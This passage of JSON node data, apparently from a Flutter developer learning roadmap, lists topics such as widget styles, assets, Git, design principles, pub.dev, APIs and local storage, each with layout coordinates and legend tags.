535.3088490418818\n      }\n    },\n    {\n      \"id\": \"wBSdmrVPv3Zuys3X8VvBm\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": -710.298072051004,\n        \"y\": 588.3088490418818\n      },\n      \"selected\": false,\n      \"selectable\": true,\n      \"draggable\": true,\n      \"deletable\": true,\n      \"data\": {\n        \"label\": \"Styled Widgets\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        },\n        \"oldId\": \"Ym-8x_FNrs1C-Ki3aykIW\",\n        \"legend\": {\n          \"id\": \"Bt3_IFhi9zkS7qIKEMT0V\",\n          \"color\": \"#2b78e4\",\n          \"label\": \"Personal Recommendation / Opinion\",\n          \"position\": \"left-center\"\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 242,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 242\n      },\n      \"measured\": {\n        \"width\": 242,\n        \"height\": 49\n      },\n      \"resizing\": false,\n      \"dragging\": false,\n      \"focusable\": true,\n      \"positionAbsolute\": {\n        \"x\": -710.298072051004,\n        \"y\": 588.3088490418818\n      }\n    },\n    {\n      \"id\": \"DrQqq-C8XdiXVXBMLS4Wy\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": -698.4579568300146,\n        \"y\": 652.3088490418818\n      },\n      \"selected\": false,\n      \"selectable\": true,\n      \"draggable\": true,\n      \"deletable\": true,\n      \"data\": {\n        \"label\": \"Material Widgets\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        },\n        \"oldId\": \"Ym-8x_FNrs1C-Ki3aykIW\",\n        \"legend\": {\n          \"id\": \"k3w1z-jvosI6y3y7yQIaV\",\n          \"label\": \"Alternative Option - Pick this or purple\",\n          \"color\": \"#147a00\",\n          \"position\": \"left-center\"\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 220,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 220\n      },\n      \"measured\": {\n        \"width\": 220,\n        \"height\": 49\n      },\n      \"resizing\": false,\n      \"dragging\": false,\n      \"focusable\": true,\n      \"positionAbsolute\": {\n        \"x\": -698.4579568300146,\n        \"y\": 652.3088490418818\n      }\n    },\n    {\n      \"id\": \"L8oUQA4OAINr-WshHaOPZ\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": -698.4579568300146,\n        \"y\": 705.3088490418818\n      },\n      \"selected\": false,\n      \"selectable\": true,\n      \"draggable\": true,\n      \"deletable\": true,\n      \"data\": {\n        \"label\": \"Cupertino Widgets\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        },\n        \"oldId\": \"Ym-8x_FNrs1C-Ki3aykIW\",\n        \"legend\": {\n          \"id\": \"k3w1z-jvosI6y3y7yQIaV\",\n          \"label\": \"Alternative Option - Pick this or purple\",\n          \"color\": \"#147a00\",\n          \"position\": \"left-center\"\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 220,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 220\n      },\n      \"measured\": {\n        \"width\": 220,\n        \"height\": 49\n      },\n      \"resizing\": false,\n      \"dragging\": false,\n      \"focusable\": true,\n      \"positionAbsolute\": {\n        \"x\": -698.4579568300146,\n        \"y\": 705.3088490418818\n      }\n    },\n    {\n      \"id\": \"z50iixpcCMe9sTh-gwTI3\",\n      \"type\": \"topic\",\n      \"position\": {\n        \"x\": 57.8618127280065,\n        \"y\": 429.3088490418818\n      },\n      \"selected\": false,\n      \"selectable\": true,\n      \"draggable\": true,\n      \"deletable\": true,\n      \"data\": {\n        \"label\": \"Working with Assets\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        },\n        \"oldId\": \"JfXwzkN29UGz17FYHHE3A\"\n      },\n      \"zIndex\": 999,\n      \"width\": 305,\n      \"height\": 49,\n      \"measured\": {\n        \"width\": 263,\n        \"height\": 49\n      },\n      \"dragging\": false,\n      \"resizing\": false,\n      \"focusable\": true,\n      \"style\": {\n        \"width\": 305\n      },\n      \"positionAbsolute\": {\n        \"x\": 57.8618127280065,\n        \"y\": 429.3088490418818\n      }\n    },\n    {\n      \"id\": \"cXsIM4rZsBChVdrm8poOp\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": 55.8618127280065,\n        \"y\": 521.3088490418818\n      },\n      \"selected\": false,\n      \"selectable\": true,\n      \"draggable\": true,\n      \"deletable\": true,\n      \"data\": {\n        \"label\": \"Fonts\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        },\n        \"oldId\": \"V0R4VyQ64Bwwj6O8XbZyF\",\n        \"legend\": {\n          \"id\": \"Bt3_IFhi9zkS7qIKEMT0V\",\n          \"color\": \"#2b78e4\",\n          \"label\": \"Personal Recommendation / Opinion\",\n          \"position\": \"left-center\"\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 303,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 303\n      },\n      \"measured\": {\n        \"width\": 129,\n        \"height\": 49\n      },\n      \"resizing\": false,\n      \"dragging\": false,\n      \"focusable\": true,\n      \"positionAbsolute\": {\n        \"x\": 55.8618127280065,\n        \"y\": 521.3088490418818\n      }\n    },\n    {\n      \"id\": \"7v3VFKGaRFjm87319gBpw\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": 188.8618127280065,\n        \"y\": 521.3088490418818\n      },\n      \"selected\": false,\n      \"selectable\": true,\n      \"draggable\": true,\n      \"deletable\": true,\n      \"data\": {\n        \"label\": \"Images\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        },\n        \"oldId\": \"cMfsRtvzvDZZJ0TqeUOxm\",\n        \"legend\": {\n          \"id\": \"k3w1z-jvosI6y3y7yQIaV\",\n          \"label\": \"Alternative Option - Pick this or purple\",\n          \"color\": \"#147a00\",\n          \"position\": \"right-center\"\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 303,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 303\n      },\n      \"measured\": {\n        \"width\": 132,\n        \"height\": 49\n      },\n      \"resizing\": false,\n      \"dragging\": false,\n      \"focusable\": true,\n      \"positionAbsolute\": {\n        \"x\": 188.8618127280065,\n        \"y\": 521.3088490418818\n      }\n    },\n    {\n      \"id\": \"WnG31VsKQRlxGX85qNIum\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": 57.8618127280065,\n        \"y\": 574.3088490418818\n      },\n      \"selected\": false,\n      \"selectable\": true,\n      \"draggable\": true,\n      \"deletable\": true,\n      \"data\": {\n        \"label\": \"Other File Types\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        },\n        \"oldId\": \"cMfsRtvzvDZZJ0TqeUOxm\",\n        \"legend\": {\n          \"id\": \"k3w1z-jvosI6y3y7yQIaV\",\n          \"label\": \"Alternative Option - Pick this or purple\",\n          \"color\": \"#147a00\",\n          \"position\": \"right-center\"\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 303,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 303\n      },\n      \"measured\": {\n        \"width\": 263,\n        \"height\": 49\n      },\n      \"resizing\": false,\n      \"dragging\": false,\n      \"focusable\": true,\n      \"positionAbsolute\": {\n        \"x\": 57.8618127280065,\n        \"y\": 574.3088490418818\n      }\n    },\n    {\n      \"id\": \"2nz5JoAPsZftFNLypr3Is\",\n      \"type\": \"topic\",\n      \"position\": {\n        \"x\": -350.14790096520323,\n        \"y\": 603.3088490418818\n      },\n      \"selected\": false,\n      \"selectable\": true,\n      \"draggable\": true,\n      \"deletable\": true,\n      \"data\": {\n        \"label\": \"Version Control Systems\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        },\n        \"oldId\": \"mdSWrWi-1n_YlY5iTJwZp\"\n      },\n      \"zIndex\": 999,\n      \"width\": 305,\n      \"height\": 49,\n      \"measured\": {\n        \"width\": 272,\n        \"height\": 49\n      },\n      \"dragging\": false,\n      \"resizing\": false,\n      \"focusable\": true,\n      \"style\": {\n        \"width\": 305\n      },\n      \"positionAbsolute\": {\n        \"x\": -350.14790096520323,\n        \"y\": 603.3088490418818\n      }\n    },\n    {\n      \"id\": \"yQyIPT09n62f1v8JbkoYJ\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": -178.14790096520323,\n        \"y\": 521.3088490418818\n      },\n      \"selected\": false,\n      \"selectable\": true,\n      \"draggable\": true,\n      \"deletable\": true,\n      \"data\": {\n        \"label\": \"Git\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        },\n        \"oldId\": \"V0R4VyQ64Bwwj6O8XbZyF\",\n        \"legend\": {\n          \"id\": \"Bt3_IFhi9zkS7qIKEMT0V\",\n          \"color\": \"#2b78e4\",\n          \"label\": \"Personal Recommendation / Opinion\",\n          \"position\": \"right-center\"\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 303,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 303\n      },\n      \"measured\": {\n        \"width\": 100,\n        \"height\": 49\n      },\n      \"resizing\": false,\n      \"dragging\": false,\n      \"focusable\": true,\n      \"positionAbsolute\": {\n        \"x\": -178.14790096520323,\n        \"y\": 521.3088490418818\n      }\n    },\n    {\n      \"id\": \"qGN95GG0Q3dur72GS3EDX\",\n      \"type\": \"topic\",\n      \"position\": {\n        \"x\": -350.14790096520323,\n        \"y\": 656.7051467174066\n      },\n      \"selected\": false,\n      \"selectable\": true,\n      \"draggable\": true,\n      \"deletable\": true,\n      \"data\": {\n        \"label\": \"Repo Hosting Services\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        },\n        \"oldId\": \"mdSWrWi-1n_YlY5iTJwZp\"\n      },\n      \"zIndex\": 999,\n      \"width\": 305,\n      \"height\": 49,\n      \"measured\": {\n        \"width\": 272,\n        \"height\": 49\n      },\n      \"dragging\": false,\n      \"resizing\": false,\n      \"focusable\": true,\n      \"style\": {\n        \"width\": 305\n      },\n      \"positionAbsolute\": {\n        \"x\": -350.14790096520323,\n        \"y\": 656.7051467174066\n      }\n    },\n    {\n      \"id\": \"V0R4VyQ64Bwwj6O8XbZyF\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": 56.8618127280065,\n        \"y\": 656.7051467174066\n      },\n      \"selected\": false,\n      \"selectable\": true,\n      \"draggable\": true,\n      \"deletable\": true,\n      \"data\": {\n        \"label\": \"GitHub\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        },\n        \"oldId\": \"cMfsRtvzvDZZJ0TqeUOxm\",\n        \"legend\": {\n          \"id\": \"Bt3_IFhi9zkS7qIKEMT0V\",\n          \"color\": \"#2b78e4\",\n          \"label\": \"Personal Recommendation / Opinion\",\n          \"position\": \"right-center\"\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 303,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 303\n      },\n      \"measured\": {\n        \"width\": 100,\n        \"height\": 49\n      },\n      \"resizing\": false,\n      \"dragging\": false,\n      \"focusable\": true,\n      \"positionAbsolute\": {\n        \"x\": 56.8618127280065,\n        \"y\": 656.7051467174066\n      }\n    },\n    {\n      \"id\": \"drwRSEnl1-ziCvxWJZMJ2\",\n      \"type\": \"topic\",\n      \"position\": {\n        \"x\": -313.64790096520323,\n        \"y\": 882.7051467174066\n      },\n      \"selected\": false,\n      \"selectable\": true,\n      \"draggable\": true,\n      \"deletable\": true,\n      \"data\": {\n        \"label\": \"Design Principles\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        },\n        \"oldId\": \"mdSWrWi-1n_YlY5iTJwZp\"\n      },\n      \"zIndex\": 999,\n      \"width\": 305,\n      \"height\": 49,\n      \"measured\": {\n        \"width\": 199,\n        \"height\": 49\n      },\n      \"dragging\": false,\n      \"resizing\": false,\n      \"focusable\": true,\n      \"style\": {\n        \"width\": 305\n      },\n      \"positionAbsolute\": {\n        \"x\": -313.64790096520323,\n        \"y\": 882.7051467174066\n      }\n    },\n    {\n      \"id\": \"fhPl9rycPa1r10fuEuNhi\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": 57.8618127280065,\n        \"y\": 773.7051467174066\n      },\n      \"selected\": false,\n      \"selectable\": true,\n      \"draggable\": true,\n      \"deletable\": true,\n      \"data\": {\n        \"label\": \"Dependency Injection\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        },\n        \"oldId\": \"cMfsRtvzvDZZJ0TqeUOxm\",\n        \"legend\": {\n          \"id\": \"Bt3_IFhi9zkS7qIKEMT0V\",\n          \"color\": \"#2b78e4\",\n          \"label\": \"Personal Recommendation / Opinion\",\n          \"position\": \"right-center\"\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 303,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 303\n      },\n      \"measured\": {\n        \"width\": 263,\n        \"height\": 49\n      },\n      \"resizing\": false,\n      \"dragging\": false,\n      \"focusable\": true,\n      \"positionAbsolute\": {\n        \"x\": 57.8618127280065,\n        \"y\": 773.7051467174066\n      }\n    },\n    {\n      \"id\": \"MLdt_37kpF2eV0oy56GZF\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": 57.8618127280065,\n        \"y\": 826.7051467174066\n      },\n      \"selected\": false,\n      \"selectable\": true,\n      \"draggable\": true,\n      \"deletable\": true,\n      \"data\": {\n        \"label\": \"Design Patterns\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        },\n        \"oldId\": \"cMfsRtvzvDZZJ0TqeUOxm\",\n        \"legend\": {\n          \"id\": \"Bt3_IFhi9zkS7qIKEMT0V\",\n          \"color\": \"#2b78e4\",\n          \"label\": \"Personal Recommendation / Opinion\",\n          \"position\": \"right-center\"\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 303,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 303\n      },\n      \"measured\": {\n        \"width\": 263,\n        \"height\": 49\n      },\n      \"resizing\": false,\n      \"dragging\": false,\n      \"focusable\": true,\n      \"positionAbsolute\": {\n        \"x\": 57.8618127280065,\n        \"y\": 826.7051467174066\n      }\n    },\n    {\n      \"id\": \"VKqo4dAcy-JiZo7Lw5jeg\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": 57.8618127280065,\n        \"y\": 879.7051467174066\n      },\n      \"selected\": false,\n      \"selectable\": true,\n      \"draggable\": true,\n      \"deletable\": true,\n      \"data\": {\n        \"label\": \"SOLID Principles\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        },\n        \"oldId\": \"cMfsRtvzvDZZJ0TqeUOxm\",\n        \"legend\": {\n          \"id\": \"Bt3_IFhi9zkS7qIKEMT0V\",\n          \"color\": \"#2b78e4\",\n          \"label\": \"Personal Recommendation / Opinion\",\n          \"position\": \"right-center\"\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 303,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 303\n      },\n      \"measured\": {\n        \"width\": 263,\n        \"height\": 49\n      },\n      \"resizing\": false,\n      \"dragging\": false,\n      \"focusable\": true,\n      \"positionAbsolute\": {\n        \"x\": 57.8618127280065,\n        \"y\": 879.7051467174066\n      }\n    },\n    {\n      \"id\": \"1-dfwbhXgeRT3VVq3RSRv\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": 57.8618127280065,\n        \"y\": 932.7051467174066\n      },\n      \"selected\": false,\n      \"selectable\": true,\n      \"draggable\": true,\n      \"deletable\": true,\n      \"data\": {\n        \"label\": \"OOP\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        },\n        \"oldId\": \"cMfsRtvzvDZZJ0TqeUOxm\",\n        \"legend\": {\n          \"id\": \"Bt3_IFhi9zkS7qIKEMT0V\",\n          \"color\": \"#2b78e4\",\n          \"label\": \"Personal Recommendation / Opinion\",\n          \"position\": \"right-center\"\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 303,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 303\n      },\n      \"measured\": {\n        \"width\": 263,\n        \"height\": 49\n      },\n      \"resizing\": false,\n      \"dragging\": false,\n      \"focusable\": true,\n      \"positionAbsolute\": {\n        \"x\": 57.8618127280065,\n        \"y\": 932.7051467174066\n      }\n    },\n    {\n      \"id\": \"med4T8PVkxIo465VuKDEj\",\n      \"type\": \"topic\",\n      \"position\": {\n        \"x\": -711.798072051004,\n        \"y\": 882.7051467174066\n      },\n      \"selected\": false,\n      \"selectable\": true,\n      \"draggable\": true,\n      \"deletable\": true,\n      \"data\": {\n        \"label\": \"Package Managers\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        },\n        \"oldId\": \"mdSWrWi-1n_YlY5iTJwZp\"\n      },\n      \"zIndex\": 999,\n      \"width\": 305,\n      \"height\": 49,\n      \"measured\": {\n        \"width\": 315,\n        \"height\": 49\n      },\n      \"dragging\": false,\n      \"resizing\": false,\n      \"focusable\": true,\n      \"style\": {\n        \"width\": 305\n      },\n      \"positionAbsolute\": {\n        \"x\": -711.798072051004,\n        \"y\": 882.7051467174066\n      }\n    },\n    {\n      \"id\": \"lXruqvSShlQrdVEo_xPm1\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": -711.798072051004,\n        \"y\": 797.7051467174066\n      },\n      \"selected\": false,\n      \"selectable\": true,\n      \"draggable\": true,\n      \"deletable\": true,\n      \"data\": {\n        \"label\": \"pub.dev\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        },\n        \"oldId\": \"Ym-8x_FNrs1C-Ki3aykIW\",\n        \"legend\": {\n          \"id\": \"Bt3_IFhi9zkS7qIKEMT0V\",\n          \"color\": \"#2b78e4\",\n          \"label\": \"Personal Recommendation / Opinion\",\n          \"position\": \"left-center\"\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 220,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 220\n      },\n      \"measured\": {\n        \"width\": 100,\n        \"height\": 49\n      },\n      \"resizing\": false,\n      \"dragging\": false,\n      \"focusable\": true,\n      \"positionAbsolute\": {\n        \"x\": -711.798072051004,\n        \"y\": 797.7051467174066\n      }\n    },\n    {\n      \"id\": \"9xZlW6S-5-uDNWb7qzBmG\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": -607.798072051004,\n        \"y\": 797.7051467174066\n      },\n      \"selected\": false,\n      \"selectable\": true,\n      \"draggable\": true,\n      \"deletable\": true,\n      \"data\": {\n        \"label\": \"flutter pub / dart pub\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        },\n        \"oldId\": \"Ym-8x_FNrs1C-Ki3aykIW\",\n        \"legend\": {\n          \"id\": \"Bt3_IFhi9zkS7qIKEMT0V\",\n          \"color\": \"#2b78e4\",\n          \"label\": \"Personal Recommendation / Opinion\",\n          \"position\": \"right-center\"\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 220,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 220\n      },\n      \"measured\": {\n        \"width\": 208,\n        \"height\": 49\n      },\n      \"resizing\": false,\n      \"dragging\": false,\n      \"focusable\": true,\n      \"positionAbsolute\": {\n        \"x\": -607.798072051004,\n        \"y\": 797.7051467174066\n      }\n    },\n    {\n      \"id\": \"9Az7tmevGI6bVqCTvVL50\",\n      \"type\": \"topic\",\n      \"position\": {\n        \"x\": -711.798072051004,\n        \"y\": 1013.7051467174065\n      },\n      \"selected\": false,\n      \"selectable\": true,\n      \"draggable\": true,\n      \"deletable\": true,\n      \"data\": {\n        \"label\": \"Working with APIs\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        },\n        \"oldId\": \"mdSWrWi-1n_YlY5iTJwZp\"\n      },\n      \"zIndex\": 999,\n      \"width\": 305,\n      \"height\": 49,\n      \"measured\": {\n        \"width\": 315,\n        \"height\": 49\n      },\n      \"dragging\": false,\n      \"resizing\": false,\n      \"focusable\": true,\n      \"style\": {\n        \"width\": 305\n      },\n      \"positionAbsolute\": {\n        \"x\": -711.798072051004,\n        \"y\": 1013.7051467174065\n      }\n    },\n    {\n      \"id\": \"TMHrKxnciIpd8F1WLjray\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": -711.798072051004,\n        \"y\": 1120.7051467174065\n      },\n      \"selected\": false,\n      \"selectable\": true,\n      \"draggable\": true,\n      \"deletable\": true,\n      \"data\": {\n        \"label\": \"JSON Serialize / Deserialize\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        },\n        \"oldId\": \"tMeuk-nsFMx3kVS7Yn4T0\",\n        \"legend\": {\n          \"id\": \"Bt3_IFhi9zkS7qIKEMT0V\",\n          \"color\": \"#2b78e4\",\n          \"label\": \"Personal Recommendation / Opinion\",\n          \"position\": \"left-center\"\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 220,\n      \"height\": 69,\n      \"style\": {\n        \"width\": 220\n      },\n      \"measured\": {\n        \"width\": 315,\n        \"height\": 49\n      },\n      \"resizing\": false,\n      \"dragging\": false,\n      \"focusable\": true,\n      \"positionAbsolute\": {\n        \"x\": -711.798072051004,\n        \"y\": 1120.7051467174065\n      }\n    },\n    {\n      \"id\": \"SUFuHR-r6NfAzIICXGHkK\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": -711.798072051004,\n        \"y\": 1173.7051467174065\n      },\n      \"selected\": false,\n      \"selectable\": true,\n      \"draggable\": true,\n      \"deletable\": true,\n      \"data\": {\n        \"label\": \"Web Sockets\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        },\n        \"oldId\": \"Ym-8x_FNrs1C-Ki3aykIW\",\n        \"legend\": {\n          \"id\": \"Bt3_IFhi9zkS7qIKEMT0V\",\n          \"color\": \"#2b78e4\",\n          \"label\": \"Personal Recommendation / Opinion\",\n          \"position\": \"left-center\"\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 220,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 220\n      },\n      \"measured\": {\n        \"width\": 159,\n        \"height\": 49\n      },\n      \"resizing\": false,\n      \"dragging\": false,\n      \"focusable\": true,\n      \"positionAbsolute\": {\n        \"x\": -711.798072051004,\n        \"y\": 1173.7051467174065\n      }\n    },\n    {\n      \"id\": \"Ym-8x_FNrs1C-Ki3aykIW\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": -548.798072051004,\n        \"y\": 1173.7051467174065\n      },\n      \"selected\": false,\n      \"selectable\": true,\n      \"draggable\": true,\n      \"deletable\": true,\n      \"data\": {\n        \"label\": \"GraphQL\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        },\n        \"legend\": {\n          \"id\": \"Bt3_IFhi9zkS7qIKEMT0V\",\n          \"color\": \"#2b78e4\",\n          \"label\": \"Personal Recommendation / Opinion\",\n          \"position\": \"right-center\"\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 220,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 220\n      },\n      \"measured\": {\n        \"width\": 152,\n        \"height\": 49\n      },\n      \"resizing\": false,\n      \"dragging\": false,\n      \"focusable\": true,\n      \"positionAbsolute\": {\n        \"x\": -548.798072051004,\n        \"y\": 1173.7051467174065\n      }\n    },\n    {\n      \"id\": \"soi3pRxOp6A4ZmGZPQCn3\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": -711.798072051004,\n        \"y\": 1226.7051467174065\n      },\n      \"selected\": false,\n      \"selectable\": true,\n      \"draggable\": true,\n      \"deletable\": true,\n      \"data\": {\n        \"label\": \"RESTful APIs\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        },\n        \"oldId\": \"tMeuk-nsFMx3kVS7Yn4T0\",\n        \"legend\": {\n          \"id\": \"Bt3_IFhi9zkS7qIKEMT0V\",\n          \"color\": \"#2b78e4\",\n          \"label\": \"Personal Recommendation / Opinion\",\n          \"position\": \"left-center\"\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 220,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 220\n      },\n      \"measured\": {\n        \"width\": 315,\n        \"height\": 49\n      },\n      \"resizing\": false,\n      \"dragging\": false,\n      \"focusable\": true,\n      \"positionAbsolute\": {\n        \"x\": -711.798072051004,\n        \"y\": 1226.7051467174065\n      }\n    },\n    {\n      \"id\": \"P_wptV7oenaYwef1QhKhu\",\n      \"type\": \"topic\",\n      \"position\": {\n        \"x\": -323.64790096520323,\n        \"y\": 1013.7051467174065\n      },\n      \"selected\": false,\n      \"selectable\": true,\n      \"draggable\": true,\n      \"deletable\": true,\n      \"data\": {\n        \"label\": \"Storage\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        },\n        \"oldId\": \"mdSWrWi-1n_YlY5iTJwZp\"\n      },\n      \"zIndex\": 999,\n      \"width\": 305,\n      \"height\": 49,\n      \"measured\": {\n        \"width\": 225,\n        \"height\": 49\n      },\n      \"dragging\": false,\n      \"resizing\": false,\n      \"focusable\": true,\n      \"style\": {\n        \"width\": 305\n      },\n      \"positionAbsolute\": {\n        \"x\": -323.64790096520323,\n        \"y\": 1013.7051467174065\n      }\n    },\n    {\n      \"id\": \"NPaqiuUpzQbrsXA5XNI7U\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": 57.8618127280065,\n        \"y\": 1013.7051467174065\n      },\n      \"selected\": false,\n      \"selectable\": true,\n      \"draggable\": true,\n      \"deletable\": true,\n      \"data\": {\n        \"label\": \"SQLite\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        },\n        \"oldId\": \"cMfsRtvzvDZZJ0TqeUOxm\",\n        \"legend\": {\n          \"id\": \"k3w1z-jvosI6y3y7yQIaV\",\n          \"label\": \"Alternative Option - Pick this or purple\",\n          \"color\": \"#147a00\",\n          \"position\": \"right-center\"\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 263,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 263\n      },\n      \"measured\": {\n        \"width\": 263,\n        \"height\": 49\n      },\n      \"resizing\": false,\n      \"dragging\": false,\n      \"focusable\": true,\n      \"positionAbsolute\": {\n        \"x\": 57.8618127280065,\n        \"y\": 1013.7051467174065\n      }\n    },\n    {\n      \"id\": \"Fdv7Nu26Egtl9tklKn5-8\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": 57.8618127280065,\n        \"y\": 1066.7051467174065\n      },\n      \"selected\": false,\n      \"selectable\": true,\n      \"draggable\": true,\n      \"deletable\": true,\n      \"data\": {\n        \"label\": \"Shared Preferences\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        },\n        \"oldId\": \"cMfsRtvzvDZZJ0TqeUOxm\",\n        \"legend\": {\n          \"id\": \"k3w1z-jvosI6y3y7yQIaV\",\n          \"label\": \"Alternative Option - Pick this or purple\",\n          \"color\": \"#147a00\",\n          \"position\": \"right-center\"\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 263,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 263\n      },\n      \"measured\": {\n        \"width\": 263,\n        \"height\": 49\n      },\n      \"resizing\": false,\n      \"dragging\": false,\n      \"focusable\": true,\n      \"positionAbsolute\": {\n        \"x\": 57.8618127280065,\n        \"y\": 1066.7051467174065\n      }\n    },\n    {\n      \"id\": \"EVd1rLBHjKbtgkIE7InS7\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": 57.8618127280065,\n        \"y\": 1119.7051467174065\n      },\n      \"selected\": false,\n      \"selectable\": true,\n      \"draggable\": true,\n      \"deletable\": true,\n      \"data\": {\n        \"label\": \"Firebase\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        },\n        \"oldId\": \"cMfsRtvzvDZZJ0TqeUOxm\",\n        \"legend\": {\n          \"id\": \"VHDZQqz8L4sTfaI3pxDjc\",\n          \"label\": \"Order in roadmap not strict (learn anytime)\",\n          \"color\": \"#b0b0b0\",\n          \"position\": \"right-center\"\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 263,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 263\n      },\n      \"measured\": {\n        \"width\": 263,\n        \"height\": 49\n      },\n      \"resizing\": false,\n      \"dragging\": 